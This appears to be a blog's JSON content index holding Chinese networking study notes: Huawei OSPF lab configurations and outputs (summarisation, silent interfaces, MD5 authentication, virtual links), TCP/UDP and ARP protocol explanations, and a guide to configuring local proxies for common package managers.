5.5.5.5 744 36 80000001 1 External 5.5.5.5 5.5.5.5 626 36 80000001 1 External 25.1.1.0 5.5.5.5 626 36 80000001 1 External 57.1.1.0 5.5.5.5 626 36 80000001 1 [R4]ospf 1[R4-ospf-1]a 1[R4-ospf-1-area-0.0.0.1]abr-summary ? IP_ADDR<X.X.X.X> IP address[R4-ospf-1-area-0.0.0.1]abr-summary 10.1.0.0 ? IP_ADDR<X.X.X.X> IP address mask[R4-ospf-1-area-0.0.0.1]abr-summary 10.1.0.0 255.255.252.0[R4-ospf-1-area-0.0.0.1]dis th[V200R003C00]# area 0.0.0.1 abr-summary 10.1.0.0 255.255.252.0 network 46.1.1.4 0.0.0.0 #return[R4-ospf-1-area-0.0.0.1][R1]display ospf lsdb OSPF Process 1 with Router ID 1.1.1.1 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 1218 60 80000008 0 Router 2.2.2.2 2.2.2.2 1183 48 8000000A 1 Router 1.1.1.1 1.1.1.1 1180 72 8000000F 1 Router 3.3.3.3 3.3.3.3 1180 48 8000000E 1 Network 123.1.1.3 3.3.3.3 1180 36 80000007 0 Sum-Net 6.6.6.6 4.4.4.4 1185 28 80000003 1 Sum-Net 5.5.5.5 2.2.2.2 1187 28 80000003 1 Sum-Net 46.1.1.0 4.4.4.4 1223 28 80000003 1 Sum-Net 25.1.1.0 2.2.2.2 1225 28 80000003 1 Sum-Net 10.1.0.0 4.4.4.4 9 28 80000001 1 Sum-Asbr 5.5.5.5 2.2.2.2 1330 28 80000001 1 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 7.7.7.7 5.5.5.5 1331 36 80000001 1 External 5.5.5.5 5.5.5.5 1213 36 80000001 1 External 25.1.1.0 5.5.5.5 1213 36 80000001 1 External 57.1.1.0 5.5.5.5 1213 36 80000001 1 外部路由汇总 5 类 [R5]ip route-static 20.1.1.0 24 57.1.1.7[R5]ip route-static 20.1.2.0 24 57.1.1.7[R5]ip route-static 20.1.3.0 24 57.1.1.7<R2>dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 24 Routes : 24 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 123.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 5.5.5.5/32 OSPF 10 1 D 25.1.1.5 GigabitEthernet0/0/1 6.6.6.6/32 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 7.7.7.7/32 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 10.1.0.0/22 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 20.1.1.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 20.1.2.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 20.1.3.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 25.1.1.0/24 Direct 0 0 D 25.1.1.2 GigabitEthernet0/0/1 25.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 25.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 46.1.1.0/24 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 57.1.1.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 123.1.1.0/24 Direct 0 0 D 123.1.1.2 GigabitEthernet0/0/0 123.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R5]ospf 1[R5-ospf-1]asbr-su [R5-ospf-1]asbr-summary 20.1.0.0 255.255.252.0<R2>dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 22 Routes : 22 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 123.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 5.5.5.5/32 OSPF 10 1 D 25.1.1.5 GigabitEthernet0/0/1 6.6.6.6/32 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 7.7.7.7/32 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 10.1.0.0/22 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 20.1.0.0/22 O_ASE 150 2 D 25.1.1.5 GigabitEthernet0/0/1 25.1.1.0/24 Direct 0 0 D 25.1.1.2 GigabitEthernet0/0/1 25.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 25.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 46.1.1.0/24 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 57.1.1.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 123.1.1.0/24 Direct 0 0 D 123.1.1.2 GigabitEthernet0/0/0 123.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 静默接口当 OSPF 路由器下行链路不再连接其他的 OSPF 路由器时, 可以将接口设置为静默接口, 避免产生垃圾流量, 接口一旦被配置为静默接口, 则不会向外发送 HELLO 报文. [R4-ospf-1]silent-interface ? Cellular Cellular interface GigabitEthernet GigabitEthernet interface LoopBack LoopBack interface Serial Serial interface all Suppress and receive routing on all interfaces[R4-ospf-1]silent-interface g 0/0/0Feb 21 2024 13:50:27-08:00 R4 %%01OSPF/3/NBR_CHG_DOWN(l)[0]:Neighbor event:neighbor state changed to Down. (ProcessId=256, NeighborAddress=6.6.6.6, NeighborEvent=KillNbr, NeighborPreviousState=Full, NeighborCurrentState=Down) [R4-ospf-1]Feb 21 2024 13:50:27-08:00 R4 %%01OSPF/3/NBR_DOWN_REASON(l)[1]:Neighbor state leaves full or changed to Down. (ProcessId=256, NeighborRouterId=6.6.6.6, NeighborAreaId=16777216, NeighborInterface=GigabitEthernet0/0/0,NeighborDownImmediate reason=Neighbor Down Due to Kill Neighbor, NeighborDownPrimeReason=Passive Interface Down, NeighborChangeTime=2024-02-21 13:50:27-08:00) [R4-ospf-1][R4-ospf-1]undo silent-interface g 0/0/0 OSPF 报文认证OSPF 认证: OSPF 支持报文认证功能, 只有通过认证的 OSPF 报文才能被接收 1. 区域认证: 一个 OSPF 区域中所有的路由器在该区域下认证模式和密码一致 2. 接口认证: 相邻路由器的直连接口的认证模式和密码一致 如果两种认证方式混合使用, 优先使用接口的认证方式 区域认证区域认证, 认证模式和认证密码一定要一致 ospf 1 router-id 2.2.2.2 area 0.0.0.0 authentication-mode md5 1 plain huawei@123 [R3]ospf 1[R3-ospf-1]a 0[R3-ospf-1-area-0.0.0.0]au [R3-ospf-1-area-0.0.0.0]authentication-mode ? hmac-md5 Use HMAC-MD5 algorithm keychain Keychain authentication mode md5 Use MD5 algorithm simple Simple authentication mode[R3-ospf-1-area-0.0.0.0]authentication-mode md5 ? INTEGER<1-255> Key ID <cr> Please press ENTER to execute command [R3-ospf-1-area-0.0.0.0]authentication-mode md5 1 ? STRING<1-255>/<20-392> The password (key) cipher Encryption type (Cryptogram) plain Encryption type (Plain text)[R3-ospf-1-area-0.0.0.0]authentication-mode md5 1 p [R3-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R3-ospf-1-area-0.0.0.0]dis th[V200R003C00]# area 0.0.0.0 authentication-mode md5 1 plain huawei@123 network 3.3.3.3 0.0.0.0 network 123.1.1.3 0.0.0.0 #return[R1]ospf 1[R1-ospf-1]a 0[R1-ospf-1-area-0.0.0.0]au[R1-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R1-ospf-1-area-0.0.0.0]dis th[V200R003C00]# area 0.0.0.0 authentication-mode md5 1 plain huawei@123 network 1.1.1.1 0.0.0.0 network 14.1.1.1 0.0.0.0 network 123.1.1.1 0.0.0.0 #Return[R4-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R2-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R2-ospf-1-area-0.0.0.0]dis ospf peer b OSPF Process 1 with Router ID 2.2.2.2 Peer Statistic Information ---------------------------------------------------------------------------- Area Id Interface Neighbor id State 0.0.0.0 GigabitEthernet0/0/0 1.1.1.1 Full 0.0.0.0 GigabitEthernet0/0/0 3.3.3.3 Full 0.0.0.2 GigabitEthernet0/0/1 5.5.5.5 Full ---------------------------------------------------------------------------- 接口认证interface GigabitEthernet0/0/0 ospf authentication-mode md5 1 plain huawei@123 [R4]int g0/0/0[R4-GigabitEthernet0/0/0]ospf au [R4-GigabitEthernet0/0/0]ospf authentication-mode md5 ? INTEGER<1-255> Key ID <cr> Please press ENTER to execute command [R4-GigabitEthernet0/0/0]ospf authentication-mode md5 1 plain huawei@123[R4-GigabitEthernet0/0/0]dis th[V200R003C00]#interface GigabitEthernet0/0/0 ip address 46.1.1.4 255.255.255.0 ospf authentication-mode md5 1 plain huawei@123#return[R4]dis ospf peer brief OSPF Process 1 with Router ID 4.4.4.4 Peer Statistic Information ---------------------------------------------------------------------------- Area Id Interface Neighbor id State 0.0.0.0 Serial4/0/0 1.1.1.1 Full ----------------------------------------------------------------------------[R6]ospf 1[R6-ospf-1]a 1[R6-ospf-1-area-0.0.0.1]authentication-mode md5 1 plain huawei@123[R4]dis ospf peer brief OSPF Process 1 with Router ID 4.4.4.4 Peer Statistic Information ---------------------------------------------------------------------------- Area Id Interface Neighbor id State 0.0.0.0 Serial4/0/0 1.1.1.1 Full 0.0.0.1 GigabitEthernet0/0/0 6.6.6.6 Full ---------------------------------------------------------------------------- 虚连接虚连接可以实现让没有和骨干区域相连的非骨干区域连接到骨干区域中也可以用于实现被分割的骨干区域逻辑相连 虚连接的注意事项: 虚连接在配置时, 配置命令中为对方的 RID 虚连接只能穿越一个区域 虚连接不能穿越骨干区域 虚连接不能穿越特殊区域 如果骨干区域配置了 OSPF 区域认证, 则虚连接的接口也需要认证 虚连接只能作为网络的弥补方案, 不能作为网络设计方案 [R2-ospf-1-area-0.0.0.1]vlink-peer 10.0.3.3[R3-ospf-1-area-0.0.0.1]vlink-peer 10.0.2.2[R4-ospf-1]ping 10.0.5.5 PING 10.0.5.5: 56 data bytes, press CTRL_C to break Reply from 10.0.5.5: bytes=56 Sequence=1 ttl=252 time=60 ms Reply from 10.0.5.5: bytes=56 Sequence=2 ttl=252 time=50 ms Reply from 10.0.5.5: bytes=56 Sequence=3 ttl=252 time=30 ms Reply from 10.0.5.5: bytes=56 Sequence=4 ttl=252 time=40 ms Reply from 10.0.5.5: bytes=56 Sequence=5 ttl=252 time=30 ms --- 10.0.5.5 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 30/42/60 ms<R2>dis ospf lsdb router self-originate OSPF Process 1 with Router ID 10.0.2.2 Area: 0.0.0.0 Link State Database Type : Router Ls id : 10.0.2.2 Adv rtr : 10.0.2.2 Ls age : 87 Len : 60 Options : ABR E seq# : 80000008 chksum : 0xa3ff Link count: 3 * Link ID: 10.0.2.2 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 24.1.1.4 Data : 24.1.1.2 Link Type: TransNet Metric : 1 * Link ID: 10.0.3.3 Data : 12.1.1.2 Link Type: Virtual Metric : 2 Area: 0.0.0.1 Link State Database Type : Router Ls id : 10.0.2.2 Adv rtr : 10.0.2.2 Ls age : 87 Len : 36 Options : ABR VIRTUAL E seq# : 80000006 chksum : 0xe428 Link count: 1 * Link ID: 12.1.1.2 Data : 12.1.1.2 Link Type: TransNet Metric : 1 影响 OSPF 邻居建立的因素OSPF 基本头中: RID: 用于标识设备的 RID.(RID 必须不同且唯一) version: 用于标识当前 OSPF 协议的版本号. AREA ID: 用于标识设备接口所属的区域 (必须相同) checksum: 校验和，用于校验报文的完整性，防止被篡改 Aulype: 认证类型，用于标识当前 OSPF 设备所使用的认证方式 Hello 头中 network mask: 表示当前接口的掩码信息.(必须相同) hello time: 表示发送 hello 报文的间隔时间 (必须相同) option: 可选项, 提供了 OSPF 的扩展功能 (必须相同) priority: 路由优先级，用于 OSPF MA 网络中的 DR 选举 (不能都为 O) dead time: 表示 OSPF 邻居设备的失效时间 (必须相同)"},{"title":"","date":"2023-12-13T05:54:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/9.html","permalink":"https://blog.mhuig.top/notes/datacom/9","excerpt":"","text":"传输层协议 传输层协议 什么是端到端端到端是网络连接. 网络要通信, 必须建立连接, 不管多远, 中间有多少设备, 都必须在源和目的之间建立连接. 端到端是逻辑连接, 这条路可能经过了很复杂的物理线路, 但两端的设备不管, 只认为两端有连接. TCP 端口号端口号: 用于区分不同的网络服务. 端口号范围: 0-65535. 知名端口号: 0-1023, 即众所周知的端口号. 注册端口号: 1024-49151, 公司和其他用户向 ICANN 机构登记的端口号. 动态端口号 (私有端口号): 49152-65535, 普通用户或随机生成时使用的端口号. 基于 TCP 工作的应用层协议和端口: FTP (文件传输协议): 20,21 SSH (安全加密远程登陆协议) : 22 Telnet (远程登陆协议): 23 SMTP (简单邮件传输协议): 25 DNS (域名解析系统): 53 基于 TCP / UDP HTTP (超文本传输协议): 80 HTTPS (加密超文本传输协议): 443 RDP (远程桌面): 3389 每一种端口对应一种网络服务或网络应用. TCPRFC 793 TCP 是一种面向连接的传输层协议, 可提供可靠的传输服务. TCP 提供重传机制. TCP 报文头0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Source Port | Destination Port |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Sequence Number |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Acknowledgment Number |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Data | |U|A|P|R|S|F| || Offset| Reserved |R|C|S|S|Y|I| Window || | |G|K|H|T|N|N| |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Checksum | Urgent Pointer |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| Options | Padding |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+| data |+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ TCP Header Format Note that one tick mark represents one bit position. S.port: 源端口, 16bit, 表示发送者的端口号, 发送者是普通用户时, 随机生成端口号. 提供服务端应用时, 端口号根据服务来决定. D.port: 目的端口, 16bit, 表示接收方的端口号. Sequence number: 序列号, 32bit, 用于标识 TCP 数据段的顺序. TCP 连接建立或数据传输时会将第一个 TCP 报文随机编上一个序号, 保证报文传输的有序性. 序列号随机生成但有序增长, 单位为 1 字节. ACK number: 确认序列号, 32bit, 用于 TCP 的确认机制. 用于标识接收端确认收到的数据段, 确认序列号为 成功收到的数据的序列号+1, 只在 ACK 位置位时有效. Header length: 头长度, 4bit, 用于标识 TCP 头部长度. 每个单位 4 字节. Reserved: 保留字段, 6bit, 全部为 0. URG: 紧急指针有效标识, 1bit, 此标志位可以通知此报文段中有紧急数据需要处理. ACK: 确认位, 1bit, 用于 TCP 的确认功能开启. PSH: 催促标记位, 1bit, 表示接收方应该尽快处理这个报文段, 交给应用层. RST: 重新建立标识, 1bit, 当 RST=1 时, 表示 TCP 连接出现严重错误, 必须释放连接, 然后重新建立连接. SYN: 同步序列标识, 1bit, 表示希望与对端建立连接并数据同步, 用于发起一个 TCP 连接. FIN: 结束位, 1bit, 用于 TCP 连接的关闭功能, 用于释放 TCP 连接. Window: 窗口大小, 16bit, 用于标识 TCP 单次传递数据的大小控制. 一般用于 TCP 流量控制. 窗口大小的数值代表接收端期望接收的字节数, 最大位 65535 字节. Checksum: 校验和, 16bit, 用于校验整个 TCP 报文的完整性. Urgent Pointer: 紧急指针, 16bit, 可以实现 TCP 的紧急指针功能, 只有 URG 为 1 时有效, 标识在本数据段中紧急数据的字节数. TCP 建立连接 三次握手PC Server==> seq=a SYN=1 ========================><== seq=b SYN=1 ACK=1 ack number=a+1 <====> seq=a+1 ACK=1 ack number=b+1 ==> PC 主动发送 TCP 报文, 本地随机生成一个序列号 a, SYN 置位, 表示想要建立连接. Server 收到请求消息后, 本地随机生成序列号 b, 将 ACK 位置位, 确认号为对方发送请求的序列号 + 1, SYN 置位. PC 将序列号有序加 1, ACK 置位, 确认号为对方发来的序列号 + 1. TCP 传输过程 重传机制TCP 可以根据接收方的处理能力来调整自己的窗口大小, 来接收分批次的传输数据, 此时对端设备不需要每次都给与确认, 只需要确认收到报文后的最后一个序列号. 如果在传输过程中, 数据因为某些原因丢失, 那么接收方将对上一个收到的报文进行确认, 来告知对端设备, 后续报文没有收到, 此时对端设备会重传数据. 下一条序列号 = 上一条序列号 + 数据载荷长度. TCP 滑动窗口机制 流量控制当发送者根据自己的窗口大小来发送数据, 接受者会根据自己的窗口大小来接收, 窗口大小为最优的传输速率. 如果此时发送端的窗口大小大于接收端的窗口大小就会导致数据丢失. 接收端在确认时, 会将收到的最后一个数据段进行确认, 并将自己的窗口大小告诉发送端, 发送端收到此报文后会调整自己的窗口大小, 并重传. TCP 关闭连接 四次挥手PC Server==> seq=a FIN=1 ACK=1 ack number=b ==><== seq=b ACK=1 ack number=a+1 <==<== seq=b FIN=1 ACK=1 ack number=a+1 <====> seq=a+1 ACK=1 ack number=b+1 ==> PC Server Seq = a ack number = b FIN = 1 ACK = 1==> (发起关闭连接) <== seq = b ack number = a+1 ACK = 1 (确认并将确认位置位, ack number 为对方的序列号 + 1) <== seq = b ack number = a+1 FIN = 1 ACK = 1 (因为 TCP 双向关闭连接, 所以双向关闭) Seq = a+1 ACK ack number = b+1 (PC 序列号自加, 确认位置位, ack number 为对方的序列号 + 1) TCP 特点 1. 运行于传输层 2. 为网络提供可靠的接入 3. 是一种面向连接的协议 4. 是一种全双工的, 会建立双向通道的协议 5. 具备错误检查能力 6. 数据段序列化 7. 具备接收确认机制 8. 具备数据重传机制 UDPRFC 768 UDP: 用户数据包协议. 提供不可靠的传输服务, 具有 TCP 没有的优势. UDP 无连接, 时间上不需要建立连接所需要的时延; 空间上, TCP 需要在端系统中维护连接状态, UDP 不需要. 特点: 运行于传输层 是一种无面向连接的协议 提供有限的错误检查能力 采用尽力而为的传输方式 不具备数据重传功能 一些时延敏感的流量, 如语音视频等, 通常使用 UDP 作为传输层协议. UDP 端口号范围: 0-65535 知名端口号: 0-1023 注册端口号: 1024-49151 动态端口号: 49152-65535 基于 UDP 的应用层协议 DNS: 域名解析协议 53 DHCP: 动态主机配置协议 67 68 TFTP: 轻量级文件传输协议 69 SNMP: 简单网络管理协议 161 RIP: 路由信息协议 520 一个距离矢量路由协议 BFD: 双向转发检测 3784 UDP 报文头0 7 8 15 16 23 24 31 +--------+--------+--------+--------+ | Source | Destination | | Port | Port | +--------+--------+--------+--------+ | | | | Length | Checksum | +--------+--------+--------+--------+ | | data octets ... +---------------- ... User Datagram Header Format S.port: 源端口. D.port: 目的端口. Length: UDP 报文总长度. Checksum: 校验和, 校验 UDP 报文完整性."},{"title":"","date":"2023-12-13T02:24:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/datacom/8.html","permalink":"https://blog.mhuig.top/notes/datacom/8","excerpt":"","text":"ARP 协议 ARP 协议 ARPARP: 地址解析协议, 用于已知一台设备 IP 地址时, 获取对方的硬件地址信息, 从而进行数据链路层的封装. ARP 协议本身没有一个独立的协议号. 网络层协议. 数据发送之前发送数据帧, 要有源目 MAC 地址. RFC 826 ARP 报文格式 Hardware Type: 硬件地址类型, 以太网, 值为 1. Protocol Type: 协议地址类型, IP 协议, 值为 0x0800. Hardware length: MAC 地址长度, 单位是字节, 值为 6. Protocol length: IP 地址长度, 单位是字节, 值为 4. Operation code: 表示 ARP 报文的类型. ARP Request: 值为 1. ARP Reply: 值为 2. Source hardware address: 源 MAC 地址. Source protocol address: 源 IP 地址. Destination hardware address: 目的 MAC 地址. Destination protocol address: 目的 IP 地址. Eternet_II Header 0x0806: ARP 协议 ARP 缓存表ARP 缓存表: 用来存放 IP 地址以及 MAC 地址的对应关系. 华为设备 ARP 缓存表老化时间 1200s (20min) PC>arp -aInternet Address Physical Address Type ARP 工作过程ARP 请求: 源主机的 ARP 缓存表中不存在目的主机的 MAC 地址, 此时源主机会发送 ARP Request 报文来请求目的主机的 MAC 地址, 此数据帧中的目的 MAC 地址字段为广播. ARP 响应: 跟源主机处于同一个广播域的同一个设备都会收到广播形式的 ARP Request 报文, 收到报文后, 会查看 ARP 报文头部中的目的 IP 和自己是否一致. 如果相同, 则目的主机会将 ARP Request 报文中的源 IP 地址和源 MAC 地址记录到自己的 ARP 缓存表中, 并通过 ARP Reply 响应. 如果不同, 记录 ARP 表项后, 丢弃请求报文. 当源主机收到目的主机发来的 ARP Reply 报文后, 会检查数据帧中的目的 MAC 和 ARP 中的 IP 地址是否为自己的 IP 地址和 MAC 地址, 如果相同, 源主机会将报文中的源 IP 地址和源 MAC 地址记录到自己的缓存表中. 免费 ARP设备刚接入网络时 (刚拥有 IP 地址) 发送免费 ARP (无故 ARP). 用于检测 IP 地址冲突, 主机主动使用自己的 IP 地址作为 ARP 中的目的 IP 地址使用, 发送请求, 正常情况下不会收到 ARP 响应, 如果收到则表明网络中存在与自身 IP 地址重复的设备. ARP 代理同一网段, 不同物理网络上的计算机之间, 可以通过 ARP 代理实现相互通信. 实现第一跳冗余. ARP 欺骗, 存在安全问题, 现在基本不用. ARP 常存在于以太网, 存在局限性. VRRP"},{"title":"","date":"2023-12-03T05:47:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/datacom/index.html","permalink":"https://blog.mhuig.top/notes/datacom/","excerpt":".fa-secondary{opacity:.4} 数据通信网络","text":".fa-secondary{opacity:.4} 数据通信网络 数据通信网络 .prev-next{ display: none !important; }"},{"title":"Package Manager Proxy Settings","date":"2022-06-29T00:37:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/package-manager-proxy-settings/index.html","permalink":"https://blog.mhuig.top/notes/package-manager-proxy-settings/","excerpt":"","text":"如果你的包管理器想直接使用优秀的镜像仓库，请参考这个：Thanks-Mirror pip添加至 ~/.config/pip/pip.conf ~/.config/pip/pip.conf[global]proxy=http://localhost:1087 注意不支持 socks5。 gitclone with ssh在文件 ~/.ssh/config 后添加下面两行 ~/.ssh/configHost github.com# Mac下ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p# Linux下ProxyCommand nc --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p 注意 Linux 和 Mac 下 ncat / netcat 区别，详见： What are the differences between ncat, nc and netcat? clone with httpgit config --global http.proxy http://127.0.0.1:1087 建议使用 http, 因为 socks5 在使用 git-lfs 时会报错proxyconnect tcp: dial tcp: lookup socks5: no such host Referencelaispace / git 设置和取消代理 cargoCargo 会依次检查以下位置: 环境变量 CARGO_HTTP_PROXY export CARGO_HTTP_PROXY=http://127.0.0.1:1080 任意 config.toml 中的 http.proxy [http]proxy = \"127.0.0.1:1080\" 环境变量 HTTPS_PROXY & https_proxy & http_proxy export https_proxy=http://127.0.0.1:1080export http_proxy=http://127.0.0.1:1080 http_proxy 一般来讲没必要，除非使用基于 HTTP 的 Crate Repository Cargo 使用 libcurl，故可接受任何符合 libcurl format 的地址与协议 ( 127.0.0.1:1080 , http://127.0.0.1:1080, socks5://127.0.0.1:1080 ）均可 ReferenceThe Cargo Book - httpproxy apt (apt-get)在 /etc/apt/apt.conf.d/ 目录下新增 proxy.conf 文件，加入： /etc/apt/apt.conf.d/proxy.confAcquire::http::Proxy \"http://127.0.0.1:8080/\";Acquire::https::Proxy \"http://127.0.0.1:8080/\"; 如果希望使用 Socks5 代理，则加入： /etc/apt/apt.conf.d/proxy.confAcquire::http::Proxy \"socks5h://127.0.0.1:8080/\";Acquire::https::Proxy \"socks5h://127.0.0.1:8080/\"; Reference apt.conf \"Acquire::http:Proxy \"proxyserver:port\" seems not to be used socks5 vs socks5h curl添加至 ~/.curlrc。 ~/.curlrcsocks5 = \"127.0.0.1:1080\" Gradle添加至 ~/.gradle/gradle.properties ~/.gradle/gradle.propertiessystemProp.http.proxyHost=127.0.0.1systemProp.http.proxyPort=1087systemProp.https.proxyHost=127.0.0.1systemProp.https.proxyPort=1087 ReferenceGradle proxy configuration Maven添加至 %Maven 安装目录%/conf/settings.xml。 % Maven 安装目录 %/conf/settings.xml<!-- proxies | This is a list of proxies which can be used on this machine to connect to the network. | Unless otherwise specified (by system property or command-line switch), the first proxy | specification in this list marked as active will be used. |--><proxies> <!-- proxy | Specification for one proxy, to be used in connecting to the network. | <proxy> <id>optional</id> <active>true</active> <protocol>http</protocol> <username>proxyuser</username> <password>proxypass</password> <host>proxy.host.net</host> <port>80</port> <nonProxyHosts>local.net|some.host.com</nonProxyHosts> </proxy> --> <proxy> <id>proxy</id> <active>true</active> <protocol>http</protocol> <host>127.0.0.1</host> <port>1087</port> </proxy></proxies> ReferenceGuide-proxies go getHTTP_PROXY=socks5://localhost:1080 go get 测试了下 HTTPS_PROXY 和 ALL_PROXY 都不起作用，或可使用：goproxy.io npmnpm config set proxy http://127.0.0.1:1087npm config set https-proxy http://127.0.0.1:1087 用 socks5 就报错。推荐使用 yarn，npm 是真的慢。 reference Is there a way to make npm install (the command) to work behind proxy? NPM Binary 镜像配置 rustupexport https_proxy=http://127.0.0.1:1080 yarnyarn config set proxy http://127.0.0.1:1087yarn config set https-proxy http://127.0.0.1:1087 不支持 socks5 Referenceyarn 需要像 npm 一样配置代理么？ yarn2Yarn 2+ - Official yarn config set httpProxy http://127.0.0.1:1087yarn config set httpsProxy http://127.0.0.1:1087 不支持全局设置，支持 socks5。 提示: 这个命令会修改项目目录下的 .yarnrc.yml 文件, 请留意不要把带有如: .yarnrc.ymlhttpsProxy: \"socks5://127.0.0.1:1080\" 的代码提交到仓库, 以免造成麻烦 建议使用 npm 镜像而不是配置使用代理 yarn config set npmRegistryServer https://127.0.0.1:1087注意: 此方法不适用于下载 yarn 官方插件! yarn 的官方插件默认会从 GitHub (raw.githubusercontent.com) 上下载，您可能依旧需要配置代理。 Reference yarn doc - httpProxy yarn doc - httpsProxy gem添加至 ~/.gemrc。 .gemrc---# See 'gem help env' for additional options.http_proxy: http://localhost:1087 brew设置环境变量： ALL_PROXY=socks5://localhost:1080 wget添加至 ~/.wgetrc。 .wgetrcuse_proxy=yeshttp_proxy=127.0.0.1:1087https_proxy=127.0.0.1:1087 ReferenceHow to set proxy for wget? snapsudo snap set system proxy.http=\"http://127.0.0.1:1087\"sudo snap set system proxy.https=\"http://127.0.0.1:1087\" ReferenceHow to install snap packages behind web proxy docker$ sudo mkdir -p /etc/systemd/system/docker.service.d$ sudo vim /etc/systemd/system/docker.service.d/proxy.conf[Service]Environment=\"ALL_PROXY=socks5://localhost:1080\"$ sudo systemctl daemon-reload$ sudo systemctl restart docker 必须是 socks5，http 不生效 Electron Dev Dependency设置环境变量 ELECTRON_GET_USE_PROXY=trueGLOBAL_AGENT_HTTPS_PROXY=http://localhost:1080 References Advanced Installation Instructions global-agent Visual Studio Code Remote (WSL2)WSL2 环境下可以通过设置 ~/.vscode-server/server-env-setup 脚本文件，设置开发环境的环境变量，使用代理。 WSL2 内环境访问 Win 下的代理程序端口代理 (例子代码中 http 代理端口监听 17070)，因为子网地址每次启动都不一样，需要动态处理。 新建~/.vscode-server/server-env-setup文件，该文件会在 VSCode 启动 WSL 环境后被source。 server-env-setupWSL_HOST=$(sed -n '/^nameserver/p' /etc/resolv.conf | cut -d' ' -f2)export http_proxy=http://${WSL_HOST}:17070export https_proxy=$http_proxyexport all_proxy=$http_proxy ReferencesDeveloping in WSL Visual Studio Code Remote (SSH)VSCode SSH 后的环境不会使用本地界面 VSCode 内的代理设置，如果 SSH 